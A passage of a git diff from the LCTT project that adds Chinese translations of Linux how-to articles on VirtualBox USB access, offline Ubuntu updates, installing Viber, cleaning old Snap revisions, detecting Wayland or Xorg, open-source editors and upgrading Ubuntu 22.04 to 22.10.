Ubuntu 这样主流的 Linux 发行版作为你的桌面系统……你也许需要三思而后行,上面大多数的发行版(并不代表所有)都不是一个日常使用的桌面系统的理想的选项。 + +但是话又说回来,如果你对 Linux 发行版充满了经验,那么毫无疑问,你会享受这项冒险的任务的。 + +*如果你想尝试这些独立发行版的其中一种,哪一个会是你的优先选择呢 ? 请在评论中与我们分享。* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/independent-linux-distros/ + +作者:[sreenath][a] +选题:[lkxed][b] +译者:[MuggleWei](https://github.com/MuggleWei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/10/nixos-2022.png +[2]: https://itsfoss.com/package-manager/ +[3]: https://nixos.org/ +[4]: https://itsfoss.com/advanced-linux-distros/ +[5]: https://itsfoss.com/wp-content/uploads/2022/08/gentoo-linux-plasma.jpg +[6]: https://wiki.gentoo.org/wiki/Portage +[7]: https://itsfoss.com/32-bit-linux-distributions/ +[8]: https://www.gentoo.org/ +[9]: https://itsfoss.com/wp-content/uploads/2022/08/void-linux.jpg +[10]: https://itsfoss.com/rolling-release/ +[11]: https://itsfoss.com/best-linux-desktop-environments/ +[12]: https://voidlinux.org/ +[13]: https://itsfoss.com/systemd-free-distros/ +[14]: https://itsfoss.com/wp-content/uploads/2022/10/solus-budgie-2022.jpg +[15]: https://itsfoss.com/best-linux-distributions/ +[16]: https://getsol.us/home/ +[17]: https://itsfoss.com/wp-content/uploads/2022/08/mageia-1.jpg +[18]: https://www.mageia.org/en/ +[19]: https://itsfoss.com/32-bit-linux-distributions/ +[20]: https://itsfoss.com/wp-content/uploads/2022/08/clear-linux-desktop.png +[21]: https://clearlinux.org/ +[22]: https://itsfoss.com/wp-content/uploads/2022/08/pclinuxos.png +[23]: https://itsfoss.com/synaptic-package-manager/ +[24]: https://www.pclinuxos.com/ +[25]: https://itsfoss.com/wp-content/uploads/2022/10/4m-linux-2022.jpg +[26]: https://itsfoss.com/4mlinux-review/ +[27]: http://4mlinux.com/ +[28]: https://itsfoss.com/wp-content/uploads/2022/03/tinycore.jpg +[29]: http://www.tinycorelinux.net/ +[30]: https://itsfoss.com/wp-content/uploads/2022/08/enable-aur-e1659974408774.png +[31]: https://www.reddit.com/r/linuxmasterrace/comments/udi7ts/decided_to_try_lfs_in_a_vm_started_about_a_week/ +[32]: https://www.linuxfromscratch.org/ +[33]: https://itsfoss.com/wp-content/uploads/2022/10/slackware-scaled.jpg +[34]: http://www.slackware.com/ +[35]: https://itsfoss.com/wp-content/uploads/2022/10/alpine-linux-xfce-2022.png +[36]: https://www.alpinelinux.org/ +[37]: https://itsfoss.com/wp-content/uploads/2022/08/kaos-desktop.png +[38]: https://itsfoss.com/pacman-command/ +[39]: https://kaosx.us/ diff --git a/published/202211/20221015.0 ⭐️ How to Enable and Access USB Drive in VirtualBox.md b/published/202211/20221015.0 ⭐️ How to Enable and Access USB Drive in VirtualBox.md new file mode 100644 index 0000000000..5f6ec9d629 --- /dev/null +++ b/published/202211/20221015.0 ⭐️ How to Enable and Access USB Drive in VirtualBox.md @@ -0,0 +1,112 @@ +[#]: subject: "How to Enable and Access USB Drive in VirtualBox" +[#]: via: "https://www.debugpoint.com/enable-usb-virtualbox/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15287-1.html" + +如何在 VirtualBox 中启用和访问 U 盘 +====== + +> 这是有关如何在 Oracle VirtualBox 中启用 USB 的指南。 + +![][1] + +当你在虚拟机环境中工作时,USB 通常插入主机系统。但是从客体系统访问 USB 内容有点困难。 + +在 VirtualBox 中,你需要安装一些扩展并启用一些设置才能访问 USB。方法如下。 + +本文假设你已经安装了 VirtualBox,并且还在其中安装了一些 Linux 发行版或操作系统。 + +如果没有,请查看 [这篇文章][2]。 + +> **请注意,Oracle VM VirtualBox 扩展包采用 Oracle 的个人使用和评估许可证(PUEL)。该许可证与 VirtualBox 不同,后者采用的是 GPL。如果你将下面的步骤用于商业目的,请确保你仔细阅读 [本页面][11]。** + +### 在 VirtualBox 7.0 中启用 USB + +#### 安装 VirtualBox 扩展包 + +打开 VirtualBox 下载页面并从 [此链接][3] 下载适用于所有支持平台的 VirtualBox 扩展包。 + +![下载扩展包][4] + +然后单击 “文件File > 工具Tools > 扩展包管理器Extension Pack Manager”。 + +单击工具栏中的 “安装Install” 按钮并选择下载的 .vbox-extpak 文件。 + +点击 “安装Install”。接受条款,并为安装提供管理员密码。 + +![安装扩展包管理器][5] + +![接受条款后安装扩展包管理器][6] + +安装成功后,可以在已安装列表中看到。 + +重启主机系统。重启是强制性的。 + +#### 在客体机中启用 USB + +将 U 盘插入你的宿主机系统,你希望从虚拟机中访问该系统。 + +启动 VirtualBox 并右键单击要启用 USB 的虚拟机名称。选择“设置Settings”。 + +![虚拟机的启动设置][7] + +在左窗格中,单击 USB。然后选择控制器版本。例如,你可以选择 USB 3.0。然后单击小加号图标添加 USB 过滤器。 + +在此列表中,你应该看到你的 U 盘名称(你插入的)。对于这个例子,我可以看到我插入的 Transcend Jetflash 驱动器。 + +选择它并按 “OK”。 + +![选择 U 盘][8] + +现在,启动你的虚拟机。打开文件管理器,你应该会看到 U 盘已启用并挂载到你的虚拟机上。 + +在此演示中,你可以看到我的 [Arch-Xfce][9] 虚拟机的 Thunar 文件管理器正在显示我的 U 盘中的内容。 + +![启用 USB 并从 VirtualBox 访问内容][10] + +### 使用说明 + +现在,这里有几件事你应该记住。 + +当你在主机系统中插入 U 盘时,请保持挂载状态。但在启动虚拟机之前不要打开或访问任何文件。 + +启动虚拟机后,U 盘将在主机系统中卸载并自动挂载到客体系统中,即你的虚拟机。 + +使用完 U 盘后,确保在虚拟机中将其弹出或卸载。然后它将能再从你的主机系统内访问。 + +### 总结 + +VirtualBox 是一个功能强大的程序,提供易于使用的功能来设置的你虚拟机。这些步骤很简单,并确保你的 U 盘在主机系统中被正确检测到以正常工作。 + +另外,请记住,通过扩展包检测 U 盘与 VirtualBox 客户端增强包无关。它们完全不相关并提供独立的功能。 + +最后,如果本指南对你有帮助,请在评论栏中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/enable-usb-virtualbox/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/10/usb-vbox-1024x576.jpg +[2]: https://www.debugpoint.com/tag/virtualbox +[3]: https://www.virtualbox.org/wiki/Downloads +[4]: https://www.debugpoint.com/wp-content/uploads/2022/10/Download-the-extension-pack.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/10/install-extension-pack-manager.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/10/install-extension-pack-manager-after-accepting-terms.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/10/Launch-settings-for-the-virtual-machine.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/10/Select-the-USB-stick.jpg +[9]: https://www.debugpoint.com/xfce-arch-linux-install-4-16/ +[10]: https://www.debugpoint.com/wp-content/uploads/2022/10/Enabling-USB-and-accessing-contents-from-VirtualBox.jpg +[11]: https://www.virtualbox.org/wiki/VirtualBox_PUEL \ No newline at end of file diff --git a/published/202211/20221017.1 ⭐️ How to Update or Upgrade Ubuntu Offline without Internet.md b/published/202211/20221017.1 ⭐️ How to Update or Upgrade Ubuntu Offline without Internet.md new file mode 100644 index 0000000000..8e7e78fd04 --- /dev/null +++ b/published/202211/20221017.1 ⭐️ How to Update or Upgrade Ubuntu Offline without Internet.md @@ -0,0 +1,113 @@ +[#]: subject: "How to Update or Upgrade Ubuntu Offline without Internet" +[#]: via: "https://www.debugpoint.com/how-to-update-or-upgrade-ubuntu-offline-without-internet/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15253-1.html" + +如何在没有互联网连接的情况下离线更新 Ubuntu +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/14/232951blxmbe6wn5eympxq.jpg) + +> 本指南介绍了如何在没有互联网连接的情况下离线更新 Ubuntu 的步骤。 + +在很多情况下,你可能需要在没有互联网连接的情况下更新你的 Ubuntu 系统。你可能在外地不方便上网,也可能你需要更新一堆未联网的 Ubuntu,不管是哪种情况,保持你的系统更新最新的软件包总是需要的。 + +当然,始终建议通过联网来更新系统。 + +但有时,出于安全考虑,这是不行的。连接到互联网可能需要给你的系统进行额外的加固,以保护它们免受黑客和恶意软件的攻击。 + +以下的方法使用 [apt-offline][1] 来解决这些问题,并概述了在没有互联网的情况下离线更新 Ubuntu 的步骤。 + +### 准备环节 + +- 一台能连接到网络的 Ubuntu(你朋友的、咖啡馆、实验室系统) +- 存储了软件包的 U 盘 +- 两个系统都安装了 `apt-offline`:一个系统离线,另一个系统联网 + +### 安装 apt-offline + +在两个系统下安装 `apt-offline`。你可以使用以下命令安装: + +``` +sudo apt install apt-offline +``` + +如果你想在离线的目标系统安装 `apt-offline`,你可以提前下载到 U 盘里,然后复制到目标系统,再使用下面的命令安装。 + +Ubuntu 22.04 LTS 和其他版本的下载链接如下所示。你可以选择一个镜像并下载 deb 文件。 + +> **[下载 .deb 文件 – apt-offline][2]** + +``` +sudo dpkg -i name_of_package.deb +``` + +### 如何更新 Ubuntu + +在离线的目标系统上打开终端,使用以下命令创建一个 .sig 签名文件: + +``` +sudo apt-offline set ~/offline-data.sig +``` + +![创建签名文件][4] + +在这个刚创建的签名文件中,包含下载所需的软件包的路径和详细信息。 + +![签名文件的内容][6] + +把签名文件复制到 U 盘中,再插到联网的 Ubuntu 系统上。 + +在联网的 Ubuntu 上创建一个目录(参见下面)来存放这些文件。 + +打开一个终端,运行以下命令来下载所需的软件包。记得根据你的系统,更改下载目录和 .sig 签名文件的路径。 + +``` +apt-offline get -d ~/offline-data-dir offline-data.sig +``` + +![下载软件包以离线安装][8] + +你可以看到文件相应下载,然后复制整个下载目录到 U 盘,再插到离线的 Ubuntu 系统。 + +运行以下命令将下载的软件包安装到离线系统,记得根据你的系统更改目录路径。 + +``` +sudo apt-offline install offline-data-dir/ +``` + +![安装软件包][10] + +如果一切顺利,你将获得一个更新完的 Ubuntu。 + +重复以上步骤,就可以保持你的离线 Ubuntu 为最新版本。 + +希望以上教程能帮到你更新离线的 Ubuntu 系统,如果你遇到任何问题,请在下面的评论框中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/how-to-update-or-upgrade-ubuntu-offline-without-internet/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://github.com/rickysarraf/apt-offline +[2]: https://packages.ubuntu.com/focal/all/apt-offline/download +[3]: https://www.debugpoint.com/wp-content/uploads/2021/03/Create-the-sig-file-1024x204.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2021/03/Create-the-sig-file.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2021/03/sig-file-contents-1024x250.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2021/03/sig-file-contents.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2021/03/Download-the-packages-to-install-offline-1024x437.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/03/Download-the-packages-to-install-offline.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2021/03/Installing-packages-offline-update-ubuntu-1024x509.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2021/03/Installing-packages-offline-update-ubuntu.jpg diff --git a/published/202211/20221019.1 ⭐️ How to Install Viber in Ubuntu and Other Linux.md b/published/202211/20221019.1 ⭐️ How to Install Viber in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..79097920ba --- /dev/null +++ b/published/202211/20221019.1 ⭐️ How to Install Viber in Ubuntu and Other Linux.md @@ -0,0 +1,92 @@ +[#]: subject: "How to Install Viber in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/install-viber-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15205-1.html" + +如何在 Ubuntu 中安装 Viber +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/02/161951egly6ylguc6g0w5g.jpg) + +> 这是在 Ubuntu 和其他 Linux 系统中安装 Viber 的快速指南。 + +[Viber][1] 是一个免费、安全的通话和聊天程序,适用于所有流行的移动平台和操作系统。 + +它具有丰富的功能,例如语音/视频通话、支持 GIF 的文本消息、贴纸、照片和视频。此外,Viber 还具有群聊、群呼和消失消息功能。 + +Viber 是一个闭源程序,但有免费的 Linux 原生可执行客户端。 + +下面是安装它的方法。 + +### 在 Linux 上安装 Viber + +它以 AppImage 可执行文件、deb 和 rpm 包的形式提供。按照下面的相应按钮直接下载。平均可执行文件大小约为 180MB。 + +> **[下载适用于所有 Linux 发行版的 Appimage][2]** + +> **[适用于 Ubuntu 的 Deb 可执行文件][3]** + +> **[Fedora 的 RPM 包][8]** + +如果你已下载 AppImage,只需从任意文件管理器将权限更改为可执行文件即可。然后运行。 + +对于 Ubuntu、Linux Mint、Debian 和相关发行版,你可以通过[多种方法][4]安装 deb 包。 + +你可以通过已安装的软件管理器双击打开。或者通过 `dpkg` 命令安装,如下所示。 + +``` +sudo dpkg -i viber.deb +``` + +对于 Fedora 和基于 RPM 的软件包,你可以通过以下命令安装。 + +``` +sudo dnf localinstall viber.rpm +``` + +对于 Arch Linux 和其他发行版,你可以使用我上面提到的 Appimage。 + +### 使用 + +完成安装 Viber 后,通过应用菜单打开它。以下是你需要记住的几件事。 + +在从笔记本电脑/台式机开始使用 Viber 之前,你需要在手机上进行设置。从以下链接为你的移动平台下载并安装 Viber。 + +- [谷歌应用商店][5] +- [苹果应用商店][6] + +安装后,设置 Viber。请记住,它需要你的手机号码才能注册。 + +设置完成后,在 Linux 桌面上打开应用。你应该会看到如下页面。 + +![Viber 在 Linux 中运行][7] + +从你的手机应用扫描二维码,你应该可以在 Linux 桌面上使用 Viber。 + +**注意:** 由于它是一个闭源应用,请确保你在使用 Viber 时了解此应用的条款和与隐私相关的情况。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-viber-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.viber.com/ +[2]: https://download.cdn.viber.com/desktop/Linux/viber.AppImage +[3]: https://download.cdn.viber.com/cdn/desktop/Linux/viber.deb +[4]: https://www.debugpoint.com/install-deb-files/ +[5]: https://play.google.com/store/apps/details?id=com.viber.voip&hl=en_IN&gl=US +[6]: https://apps.apple.com/us/app/viber-messenger-chats-calls/id382617920 +[7]: https://www.debugpoint.com/wp-content/uploads/2022/10/Viber-is-Running-in-Linux-1.jpg +[8]: https://download.cdn.viber.com/desktop/Linux/viber.rpm diff --git a/published/202211/20221019.2 ⭐️ How to Clean Up Snap Versions to Free Up Disk Space.md b/published/202211/20221019.2 ⭐️ How to Clean Up Snap Versions to Free Up Disk Space.md new file mode 100644 index 0000000000..f524717305 --- /dev/null +++ b/published/202211/20221019.2 ⭐️ How to Clean Up Snap Versions to Free Up Disk Space.md @@ -0,0 +1,108 @@ +[#]: subject: "How to Clean Up Snap Versions to Free Up Disk Space" +[#]: via: "https://www.debugpoint.com/clean-up-snap/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15219-1.html" + +如何清理 Snap 版本以释放磁盘空间 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/06/082905iomvvhsgoooc5czg.jpg) + +> 这个带有脚本的快速指南有助于清理旧的 Snap 版本并释放 Ubuntu 系统中的一些磁盘空间。 + +我正在使用的 Ubuntu 测试系统中的磁盘空间不足。因此,我通过 GNOME 的磁盘使用分析器进行调查,以找出哪个包正在消耗宝贵的 SSD 空间。除了通常的缓存和主目录,令我惊讶的是,我发现 Snap 和 Flatpak 消耗了大量的存储空间。 + +![Snap 大小 - 清理前][1] + +尽管如此,我始终坚持一个规则:除非必要,否则不要使用 Snap 或 Flatpak。这主要是因为它们的安装尺寸和其他问题。我更喜欢原生 deb 和 rpm 包。多年来,我在这个测试系统中安装和移除了一定数量的 Snap 包。 + +但卸载后还有问题。Snap 在系统中保留了一些残留文件,一般用户不知道。 + +所以我打开了 Snap 文件夹 `/var/lib/snapd/snaps`,发现 Snap 保留了以前安装/卸载的软件包的旧版本。 + +例如,在下图中,你可以看到 GNOME 3.28、3.34 和 Wine 都被删除了。但它们还在那里。发生这种情况是因为 Snap 的设计,它在正确卸载后保留已卸载软件包的版本。 + +![snaps 目录下的文件][2] + +或者,你可以在终端中使用: + +``` +snap list --all +``` + +![snap 列出全部][3] + +对于保留的版本,默认值为 3。这意味着 Snap 会保留每个软件包的三个旧版本,包括活动版本。如果你对磁盘空间没有限制,这是可以的。 + +但是对于服务器和其他情况,这很容易遇到成本问题,它会消耗你的磁盘空间。 + +但是,你可以使用以下命令轻松修改计数。该值可以在 2 到 20 之间。 + +``` +sudo snap set system refresh.retain=2 +``` + +### 清理 Snap 版本 + +在 SuperUser 的一篇文章中,Canonical 的前工程经理 Popey [提供了一个简单的脚本][4],它可以清理旧版本的 Snaps 并保留最新版本。 + +这是我们将用来清理 Snap 的脚本。 + +``` +#!/bin/bash +#Removes old revisions of snaps +#CLOSE ALL SNAPS BEFORE RUNNING THIS +set -eu +LANG=en_US.UTF-8 snap list --all | awk '/disabled/{print $1, $3}' | +while read snapname revision; do + snap remove "$snapname" --revision="$revision" +done +``` + +将上面的脚本以 `.sh` 扩展名保存在一个目录中(例如 `clean_snap.sh`),赋予它可执行权限并运行。 + +``` +chmod +x clean_snap.sh +``` + +当我运行脚本后,它减少了很多磁盘空间。该脚本还将显示要删除的包的名称。 + +![执行脚本][5] + +![清理后的 Snap 大小][6] + +### 结束语 + +对于 Snap 的设计效率如何,人们总是争论不休。许多人说,它的设计是坏的,是臃肿的,是消耗系统资源的。这种说法的某些部分是真实的,我不会否认它。如果实施和加强得当,整个沙盒应用的概念是很好的。但我相信,与 Snap 相比,Flatpak 工作做得更好。 + +也就是说,我希望这可以帮助你清理一些磁盘空间。尽管它只在 Ubuntu 中进行了测试,但它应该适用于所有支持 Snap 的 Linux 发行版。 + +此外,请查看我们关于 [如何清理 Ubuntu][7] 的指南以及其他步骤。 + +最后,如果你要清理 **Flatpak** 应用,请参阅 [这篇指南][8]。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/clean-up-snap/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/03/Snap-size-before-cleanup.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2021/03/Files-under-snaps-directory.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2021/03/snap-list-all.jpg +[4]: https://superuser.com/a/1330590 +[5]: https://www.debugpoint.com/wp-content/uploads/2021/03/Executing-the-script.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2021/03/Snaps-size-after-cleanup.jpg +[7]: https://www.debugpoint.com/2018/07/4-simple-steps-clean-ubuntu-system-linux/ +[8]: https://www.debugpoint.com/clean-up-flatpak/ \ No newline at end of file diff --git a/published/202211/20221020.0 ⭐️ How to Check:Xorg or Wayland Display Server.md b/published/202211/20221020.0 ⭐️ How to Check:Xorg or Wayland Display Server.md new file mode 100644 index 0000000000..1240c18aea --- /dev/null +++ b/published/202211/20221020.0 ⭐️ How to Check:Xorg or Wayland Display Server.md @@ -0,0 +1,93 @@ +[#]: subject: "How to Check: Xorg or Wayland Display Server?" +[#]: via: "https://www.debugpoint.com/check-wayland-or-xorg/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15216-1.html" + +如何检查: 是 Xorg 还是 Wayland 显示服务器? +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/05/102913nmpm4pzka6b6aar1.jpg) + +> 以下是快速检查在运行 Xorg 还是 Wayland 显示服务器的方法。 + +随着时间的推移,现代 Wayland 显示服务器正在进入所有 Linux 发行版。尽管老旧的 Xorg 仍然能用并且会继续存在,但 Wayland 无疑在安全性和其他性能方面更好。 + +但是,Xorg 不会很快完全淘汰。可能永远不会。 + +如果你在运行任何 Linux 发行版,如何检查运行的是 Xorg 还是 Wayland?下面是方法。 + +### Wayland 或 Xorg:你在运行哪一个? + +在你的 Linux 发行版(例如 Ubuntu、Fedora、Arch 等)中打开一个终端窗口(`CTRL+ALT+T`)。 + +然后输入以下命令并回车: + +``` +echo $XDG_SESSION_TYPE +``` + +命令输出会告诉你当前会话是 Wayland 还是 Xorg(X11)。 + +``` +[debugpoint@fedora ~]$ echo $XDG_SESSION_TYPEwayland +``` + +![此命令可以为你提供有关 Xorg 或 Wayland 的详细信息][1] + +这很简单。但是,还有其他方法。 + +### 其他方法 + +#### 使用设置 + +如果你需要图形方法,请打开你的 Linux 发行版的设置应用。在关于部分,你应该看到某个标签下中的 Wayland/X11。 + +例如,在 GNOME 设置中,你可以在 “窗口子系统Windowing system” 下找到它,如下图所示: + +![在 GNOME 设置中可以找到它][2] + +#### 使用会话值 + +你还可以使用 [systemd][3] 登录管理器 `loginctl` 找到它。请记住,它仅适用于基于 systemd 的系统。 + +打开终端并运行以下命令。你可以看到会话 id 值。在此示例中为 `c2`: + +``` +loginctl +``` + +现在,将会话 ID 传递给以下命令以获取显示服务器类型。确保将 c2 更改为你的系统规格。 + +``` +loginctl show-session c2 -p Type +``` + +![使用 loginctl 查找][4] + +### 总结 + +这些是你可以确定在 Linux 系统中运行的是 Systemd 还是 Xorg 的一些方法。你还可以在 shell 脚本中使用上述命令来实现进一步的流程自动化。 + +祝好。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/check-wayland-or-xorg/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/10/This-command-can-give-you-details-about-Xorg-or-Wayland-1024x612.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/10/In-GNOME-Settings-you-can-find-it.jpg +[3]: https://www.debugpoint.com/tag/systemd/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/10/Using-loginctl-to-find-out.jpg \ No newline at end of file diff --git a/published/202211/20221020.7 ⭐️ 4 open source editors I use for my writing.md b/published/202211/20221020.7 ⭐️ 4 open source editors I use for my writing.md new file mode 100644 index 0000000000..bf7e54d2f9 --- /dev/null +++ b/published/202211/20221020.7 ⭐️ 4 open source editors I use for my writing.md @@ -0,0 +1,60 @@ +[#]: subject: "4 open source editors I use for my writing" +[#]: via: "https://opensource.com/article/22/10/open-source-editors" +[#]: author: "Alan Formy-Duval https://opensource.com/users/alanfdoss" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15248-1.html" + +我使用的 4 款开源编辑器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/13/153838gs7u2z33qxxfigx3.jpg) + +> 分享一些我最喜欢的开源写作工具。 + +在我的职业生涯中,我已经写过很多东西,主要是作为一名 IT 顾问,创建产品文档作为给的客户可交付成果。这些文档通常针对不同操作系统和软件产品提供说明。 + +自 2018 年,我开始在 www.opensource.com 上发表关于开源软件的文章。当然,我使用开源软件进行协作。接下来我将介绍我使用过的四款开源编辑器。 + +### 1、Vi + +[Vi][1] 也被称为 `Vim`(LCTT 校注:此外不确,Vi 和 Vim 是两个软件,只是 Vim 取代了 Vi,并以 `vi` 的名字运行。),是我学习的第一款开源编辑器。这是我在计算机科学课程中学习的编辑器,并且我所有的 C 语言编程都是通过它完成的。自 1995 年以来,实际上我一直使用它作为命令行编辑器。这款工具有多个迭代版本,以至于我都可以为之写一系列文章了。我只想说,在我的日常使用中,我坚持使用它的基本命令行形式,并进行最小的定制。 + +### 2、LibreOffice Writer + +Writer 是 LibreOffice 开源办公套件的一部分。它是由文档基金会Document Foundation维护的全功能文字处理器。它支持行业标准格式,例如开放文档格式 (ODF)、Open XML 和 MS Office DOC、DOCX。可以在其官方网站上 [了解有关 Writer 的更多信息][2]。 + +### 3、Ghostwriter + +Ghostwriter 是一个用于 [Markdown 的文本编辑器][3]。它有一个很好的实时查看器和语法指南或备忘单功能。[访问官方网站][4] 了解更多内容。 + +### 4、Gedit + +Gedit 是许多 Linux 发行版中的基本图形编辑器,被描述为“用于 GNOME 桌面的小型轻量级文本编辑器”。我最近开始使用它来创建 Asciidoc 格式的文章。使用 Asciidoc 的好处是语法易于管理并可导入到 Drupal 等 Web 渲染系统中。通过 [Gedit Wiki][5] 了解许多提示和技巧。 + +### 编辑文本 + +开源世界中有大量编辑软件。随着我继续写作,这个列表可能会增加。我的主要目标是格式简单。我希望我的文章易于在互联网平台上导入、转换和发布。 + +你的写作风格、功能需求和目标受众将指导你确定首选工具。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/open-source-editors + +作者:[Alan Formy-Duval][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alanfdoss +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/12/vi-text-editor +[2]: https://www.libreoffice.org/discover/writer/ +[3]: https://opensource.com/article/21/10/markdown-editors +[4]: https://github.com/KDE/ghostwriter +[5]: https://wiki.gnome.org/Apps/Gedit diff --git a/published/202211/20221021.1 ⭐️ How to Upgrade to Ubuntu 22.10 From 22.04 LTS (Jammy to Kinetic).md b/published/202211/20221021.1 ⭐️ How to Upgrade to Ubuntu 22.10 From 22.04 LTS (Jammy to Kinetic).md new file mode 100644 index 0000000000..823b3f50dd --- /dev/null +++ b/published/202211/20221021.1 ⭐️ How to Upgrade to Ubuntu 22.10 From 22.04 LTS (Jammy to Kinetic).md @@ -0,0 +1,115 @@ +[#]: subject: "How to Upgrade to Ubuntu 22.10 From 22.04 LTS (Jammy to Kinetic)" +[#]: via: "https://www.debugpoint.com/upgrade-ubuntu-22-04-22-10/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15199-1.html" + +如何从 Ubuntu 22.04 LTS 升级到 22.10 +====== + +> 这里是如何将你当前的 Ubuntu 22.04 LTS Jammy Jellyfish 升级到 Ubuntu 22.10 Kinetic Kudu 的步骤。 + +始终停留在长期支持的发布版本,这是金科玉律。因为,先前的 [Ubuntu 22.04 LTS][1] Jammy Jellyfish 将被支持到 2027 年 4 月。这是一段很长的时间。 + +此外,LTS 版本超级稳定。它们很少损坏并变得不稳定。因此,如果你在笔记本电脑/台式机电脑或服务器上安装使用 LTS 版本,保持使用它。 + +然而,如果你想要最新的内核、GNOME 43 和 Pipewire 之类的最新技术 – 你可能会想完成版本跳级,并升级到 [Ubuntu 22.10 Kinetic Kudu][2]。 + +这里是如何做的方法。 + +### 升级 Ubuntu 22.04 LTS 到 Ubuntu 22.10 + +**注意**:我希望你没有运行去年 10 月份发布的 Ubuntu 21.10 Impish Indri 。因为它已经不被支持。但是鉴于某些原因,你正在运行它,我建议你直接重新安装 22.10 。或者,先升级到 22.04 ,再升级到 22.10 。 + +#### 在你升级前 + +在你升级前,做一些内务整理。这是非常重要的。 + +- 备份你的 `/home`、/`downloads` 和其它的文件到 USB 驱动器或任意独立的分区,以防升级失败。 +- 如果你随着时间的流逝而添加了一些额外的 PPA ,确保将它们记录下来。虽然,在升级过程开始前,升级过程将禁用 PPA 。而在升级完成后,确保手动启用 PPA 。 